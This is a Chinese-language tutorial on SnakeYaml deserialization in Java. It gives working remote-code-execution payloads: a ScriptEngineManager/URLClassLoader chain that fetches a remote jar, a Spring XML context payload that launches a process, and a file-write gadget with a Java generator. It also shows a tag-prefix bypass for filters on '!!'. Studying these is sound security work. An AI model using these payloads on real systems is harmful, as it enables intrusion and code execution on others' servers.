SnakeYaml

0x01 What Is SnakeYaml

SnakeYaml是一个完整的YAML1.1规范Processor,用于解析YAML,序列化以及反序列化,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。

0x02 Best Practice

<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

两个方法:

  • Yaml.load():入参是一个字符串或者一个文件,返回一个Java对象

  • Yaml.dump():将一个对象转化为yaml文件形式

package com.snake.demo;

public class User {
    private String name;
    public int age;

    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public User() {
        System.out.println("Non Arg Constructor");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }

    @Override
    public String toString() {
        return "I am " + name + ", " + age + " years old";
    }
}

dump

User user = new User("taco", 18);
Yaml yaml = new Yaml();
System.out.println(yaml.dump(user));

打印结果:

getName

!!com.snake.demo.User {age: 18, name: taco}

!!用于强制类型转换,与fastjson中@type字段类似

dump()还调用了非public成员的getter

load

String s = "!!com.snake.demo.User {age: 18, name: taco}";
Yaml yaml = new Yaml();
User user = yaml.load(s);
System.out.println(user);

Non Arg Constructor

setName

I am taco, 18 years old

load()调用了无参构造器和非public成员的setter

实际上不仅无参构造器能够调用,还能指定调用有参构造器,只要传参类型为有参构造器的参数类型即可。

String s = "!!com.snake.demo.User [\"taco\", 18]";
Yaml yaml = new Yaml();
User user = yaml.load(s);
System.out.println(user);

Arg Constructor Called

I am taco, 18 years old

此时就不会调用setter方法了

若类属性是public修饰,不会调用对应的setter方法,而是通过反射来set

0x03 Way To Attack

yaml反序列化时通过!! + 全类名指定反序列化的类,和fastjson一样都会调用setter,不过对于public修饰的成员不会调用其setter,除此之外,snakeyaml反序列化时还能调用该类的构造函数(fastjson是通过ASM生成的)。

ScriptEngineManager

构造ScriptEngineManagerpayload,利用SPI机制通过URLClassLoader远程加载恶意字节码文件。

Github上面的EXP:https://github.com/artsploit/yaml-payload

工具的工程classpath下存在META-INF/services文件夹

javax.script.ScriptEngineFactory

artsploit.AwesomeScriptEngineFactory

打成jar包

javac src/artsploit/AwesomeScriptEngineFactory.java

jar -cvf yaml-payload.jar -C src/ .

将生成yaml-payload.jar包放在web服务上

python -m http.server 9999

!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"] ]] ]

下面来看一下触发流程

javax.script.ScriptEngineManager

ScriptEngineManager的无参构造器调用了init(),进行初始化设置后调用initEngines(),用于初始化脚本引擎。

接着到getServiceLoader,用于获取ServiceLoader迭代器

到了熟悉的ServiceLoader.load()返回一个ServiceLoader<T>,根据这个可以获取一个迭代器,接下来还是熟悉的迭代遍历。

next() => nextService()会加载接口实现类并实例化,在SPI那节已经介绍过了。

SpringFramework远程加载配置

Spring当中有两个类的构造函数远程加载配置,可以构成RCE

org.springframework.context.support.ClassPathXmlApplicationContext org.springframework.context.support.FileSystemXmlApplicationContext

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd">
   <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>calc</value>
          </list>
        </constructor-arg>
    </bean>
</beans>

!!org.springframework.context.support.ClassPathXmlApplicationContext ["http://127.0.0.1:8888/evil.xml"]

既然能触发getter,那么fastjson的大部分payload也可以用。

写文件加载本地jar

!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["filePath"],false],!!java.util.zip.Inflater { input: !!binary base64 },length]]

filepath是写入路径,base64str为经过zlib压缩过后的文件内容,length为文件大小

和fastjson一样,对于byte数组会自动进行base64解码(snakeyaml中为binary)

import com.sun.org.apache.xml.internal.security.utils.JavaUtils;
import org.yaml.snakeyaml.Yaml;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;
import java.util.zip.Deflater;

public class SnakeYamlFilePOC {

    public static void main(String[] args) throws IOException {
        String poc = createPoc("E:/flag.txt", "E:/a.txt");
        System.out.println(poc);
//        Yaml yaml = new Yaml();
//        yaml.load(poc);
    }
    public static String createPoc(String src, String path) throws IOException {
        byte[] file = JavaUtils.getBytesFromFile(src);
        int length = file.length;
        byte[] compressed = compress(file);
        String b64 = Base64.getEncoder().encodeToString(compressed);
        String payload = "!!sun.rmi.server.MarshalOutputStream " +
                "[!!java.util.zip.InflaterOutputStream [" +
                    "!!java.io.FileOutputStream [" +
                        "!!java.io.File [\"" + path + "\"],false]," +
                        "!!java.util.zip.Inflater  { input: !!binary " + b64 + " }, " + length +
                        "]]";
        return payload;
    }

    public static byte[] compress(byte[] input) throws IOException {
        Deflater deflater = new Deflater();
        deflater.setInput(input);
        deflater.finish();

        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();

        byte[] buffer = new byte[1024];
        while (!deflater.finished()) {
            int compressedSize = deflater.deflate(buffer);
            outputStream.write(buffer, 0, compressedSize);
        }

        outputStream.close();
        return outputStream.toByteArray();
    }
}

既然可以写文件,那就把jar写入目标环境,然后再通过URLClassloader本地加载

Yaml yaml = new Yaml();
String poc = createPoc("./yaml-payload.jar", "E:/evil.jar");
yaml.load(poc);
String s = "!!javax.script.ScriptEngineManager [\n" +
    "!!java.net.URLClassLoader [[\n" +
    "!!java.net.URL [\"file:///E:/evil.jar\"]\n" +
    "]]\n" +
    "]";
yaml.load(s);

0x04 Yaml#load()

public <T> T load(String yaml) {
	return (T) loadFromReader(new StreamReader(yaml), Object.class);
}

payload存储于StreamReader的stream字段

回到loadFromReader(),创建了一个Composer对象,并封装到constructor

private Object loadFromReader(StreamReader sreader, Class<?> type) {
    Composer composer = new Composer(new ParserImpl(sreader), resolver, loadingConfig);
    constructor.setComposer(composer);
    return constructor.getSingleData(type);
}

跟进getSingleData

getSingleNode()将poc改造为如下:

<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:javax.script.ScriptEngineManager, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URLClassLoader, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:seq, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URL, value=[<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=http://127.0.0.1:9999/yaml-payload.jar)>])>])>])>])>

若过滤了!!,可利用此tag规则进行绕过

!tag:yaml.org,2002:javax.script.ScriptEngineManager [!tag:yaml.org,2002:java.net.URLClassLoader [[!tag:yaml.org,2002:java.net.URL ["http://ip/yaml-payload.jar"]]]]

接着调用constructDocument()对上面poc进行处理

跟进constructObject() => constructObjectNoCheck()

node放入recursiveObjects,进入constructor.construct(node)

遍历节点,调用constructObject()又循环回去了

constructObjectNoCheck()->

BaseConstructor#construct()->

Contructor#construct()->

递归Contructor#constructObject()

上面的POC有5个node,所以循环5次。

先后进行了URL、URLClassLoader、ScriptEngineManager的实例化

注意这里实例化是有传参数(argumentList)的,把前一个类的实例化对象当作下个类构造器的参数。

最后进入ScriptEngineManager的无参构造器,连接上了上文的SPI机制。

Article To Learn

跳跳糖社区-SnakeYaml反序列化及不出网利用

Last updated